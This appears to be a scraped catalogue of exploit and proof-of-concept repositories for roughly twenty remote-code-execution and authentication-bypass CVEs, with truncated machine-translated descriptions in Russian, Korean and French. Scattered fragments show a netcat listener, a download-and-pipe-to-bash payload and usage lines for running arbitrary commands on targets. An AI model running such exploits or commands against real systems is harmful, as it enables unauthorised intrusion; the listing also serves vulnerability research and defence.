CVE-2023-51467

CVE-2023-51467 exp.py изменен для выполнения команд Post.txt Эксплуатация уязвимости сериализации bypassauth.txt Тест обхода аутентификации Причина уязвимости Из-за ошибочного использования null при проверке подлинности этот метод не сработал, что привело к обходу аутентификации. if username ==...

cve-2022-33891

CVE-2022-33891 Vulnérabilité d'injection de commande dans le shell Apache Spark Un POC Python pour exploiter la vulnérabilité d'injection de commande dans le shell Apache Spark. J'ai vu d'autres POC ailleurs, mais ils avaient l'air très suspects. Celui-ci est propre et simple. Je n'ai pas découve...

Sudo-Vulnerability-Exploit-CVE-2019-14287

Sudo-Vulnerability-Exploit-CVE-2019-14287 Sudo는 거의 모든 Unix 및 Linux 기반 운영 체제에 간단한 명령으로 설치되는 가장 중요하고 강력하며 일반적으로 사용되는 유틸리티 중 하나로, 신뢰할 수 없는 것으로 밝혀졌습니다. 악의적인 사용자나 응용 프로그램이 대상 Linux 장치에서 임의의 명령을 실행할 수 있게 하는 가짜 보안 정책 우회 결함입니다. 이 오류에는 비표준 설정이 필요합니다. 즉, Linux 머신은 본질적으로 손상되어 있지 않습니다. 잘못된 사용자는 Linux 운영 체제에서...

CVE-2023-6553

CVE-2023-6553 Wordpress의 Backup 플러그인에서 CVE-2023-6553에 대한 익스플로잇 개발 CVSS 점수 9.8의 중요 CVE입니다. 이 취약점은 공격자가 취약한 버전의 플러그인이 실행 중인 서버에 명령을 전송할 수 있게 합니다. 취약한 버전 Backup :9000/a.sh |bash';?" 3. 다음과 같은 오류가 발생할 것입니다. HTTP Response Body: 400 Bad Request Bad Request Your browser sent a request that this server...

CVE-2024-3912

Зачем? Публикую потому, что Mirai — это кучка раздражающих придурков, которые постоянно долбят мою honeypot этой штукой — вы не тот вредонос, который мне нужен. Отвалите, пожалуйста. Вот их раздражающий IP для распространения вредоноса и скрипт полезной нагрузки по умолчанию...

CVE-2010-2075-UnrealIRCd-3.2.8.1

CVE-2010-2075 Exploit pour CVE:2010-2075. Cet exploit permet l'exécution de commandes à distance dans UnrealIRCd 3.2.8.1. Prérequis optparse, signal Utilisation Vous pouvez envoyer une commande à exécuter, mais il arrivera qu'elle ne réponde pas ; vous pouvez simplement envoyer un shell inverse e...

CVE-2022-0944

CVE-2022-0944 SQLPad - Внедрение шаблонов Это слепая уязвимость, означающая, что результат напрямую возвращается в ответе. Эксплойт Используйте скрипт следующей командой: python3 exploit.py --url http://localhost:13000 --command 'ls -la /tmp/test' --username admin --password password Вывод Login...

CVE-2012-1823-exploit-for-https-user-password-web

CVE-2012-1823 файл является эксплойтом использование: python3 CVE-2012-1823.py Файл CVE-2012-1823,CVE-2021-2291.py определяет, уязвим ли сайт к CVE-2012-1823 или CVE-2021-2291 использование: python3 CVE-2012-1823,CVE-2021-2291.py команда whoami cd ls протестировано на Kali Linux...

CVE-2019-10149

CVE-2019-10149 CVE-2019-10149 : В Exim версий с 4.87 по 4.91 включительно обнаружена уязвимость. Неправильная проверка адреса получателя в функции delivermessage в файле /src/deliver.c может привести к удаленному выполнению команд. Пример nc -lvp 9000 python ./CVE-2019-10149/exploit.py --rhost...

CVE-2020-14882

CVE-2020-14882 이 스크립트는 인증되지 않은 GET 요청을 사용하여 Oracle WebLogic Server에서 원격 코드 실행RCE을 가능하게 합니다. CVE-2020-14882 취약점을 악용합니다. 임의의 명령어를 실행하여 공격자가 서버에 무단으로 액세스할 수 있습니다. 익스플로잇 세부 정보 Exploit Title: Oracle WebLogic Server, GET 요청을 통한 인증되지 않은 RCE Exploit Author: Danny Safaya CVE: CVE-2020-14882 Vendor Homepag...

PIL-CVE-2017-8291

Удаленное выполнение команд в Python PIL/Pillow GhostButt / CVE-2017-8291 Китайская версия Python PIL Pillow — популярная библиотека обработки изображений для Python. Она поддерживает различные форматы изображений и предоставляет мощные возможности для работы с изображениями. Модуль обработки...

CVE-2025-53547-POC

CVE-2025-53547 POC ceci est un PoC pour CVE-2025-53547 Chart.lock lie le fichier de test à /tmp/1.txt /tmp/1.txt injecte une commande qui crée /tmp/2.txt Dans un environnement de produit réel, vous pouvez modifier le fichier de lien Chart.lock pour injecter n'importe quelle commande de votre choi...

React2shell-ultimate-scanner

CVE-2025-55182 Advanced Scanner 🚀 Профессиональный и автоматизированный сканер безопасности для обнаружения и проверки CVE-2025-55182 — критической уязвимости, затрагивающей Next.js React Server Components. Разработан для исследователей безопасности, пентестеров и охотников за баг-баунти , которы...

CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution

PoC Репозиторий: https://github.com/CybermonkX/CVE-2019-16278Nostromo-1.9.6---Remote-Code-Execution.git 📜 Описание Этот репозиторий содержит эксплойт на Python для CVE-2019-16278 — уязвимости в Nostromo 1.9.6 веб-сервер. Уязвимость позволяет выполнять удалённый код RCE путём эксплуатации обхода...

CVE-2019-9193-Postgresql-RCE

usage: CVE-2019-9193.py -h -i IP -p PORT -d DATABASE -c COMMAND -t TIMEOUT -U USER -P PASSWORD пример: python3 CVE-2019-9193.py -i 127.0.0.1 -p 5432 -U postgres -c 'id' пример 2 : python3 CVE-2019-9193.py -h localhost -p 5432 -U postgres -c 'id' вывод: + Подключение к базе данных PostgreSQL на...

Rust_CVE-2025-55182

CVE-2025-55182 Эксплойт-инструмент версия на Rust Обзор проекта Данный проект представляет собой инструмент для исследования безопасности, разработанный на Rust, для эксплуатации уязвимости удаленного выполнения кода RCE в [email protected]. Уязвимость позволяет атакующему отправлять...

CVE-2020-10199_POC-EXP

Затронутые версии + + EXP: python3 cve-2020-10199poc.py 1.1.1.1 8081 0.9567822851573897 edfca15e-c721-45e2-bdef-e8b3c6364ddb + + VER: Nexus Repository Manager OSS/Pro version username...

CVE-2007-2447

CVE-2007-2447 PoC : Samba "usermap script" exécution de commandes à distance CVE historique. Ce dépôt contient un petit script de preuve de concept pour la recherche et l'examen pédagogique. Le script principal est usermapscriptCommandExecution.py. Référence :...

Gitlab-CVE-2021-22205

Gitlab-CVE-2021-22205 Script de détection par lots multithread pour CVE-2021-22205 Utilise dnslog, détection possible avec un poc Détection multithread Exécution de commande personnalisable...

cve-2023-46747

CVE-2023-46747 Эксплойт-скрипт Этот скрипт эксплуатирует уязвимость удалённого выполнения кода F5 BIG-IP TMUI CVE-2023-46747. Он позволяет неаутентифицированному злоумышленнику выполнять произвольные команды на уязвимой системе F5 BIG-IP. Содержание Features Requirements Usage Parameters How It...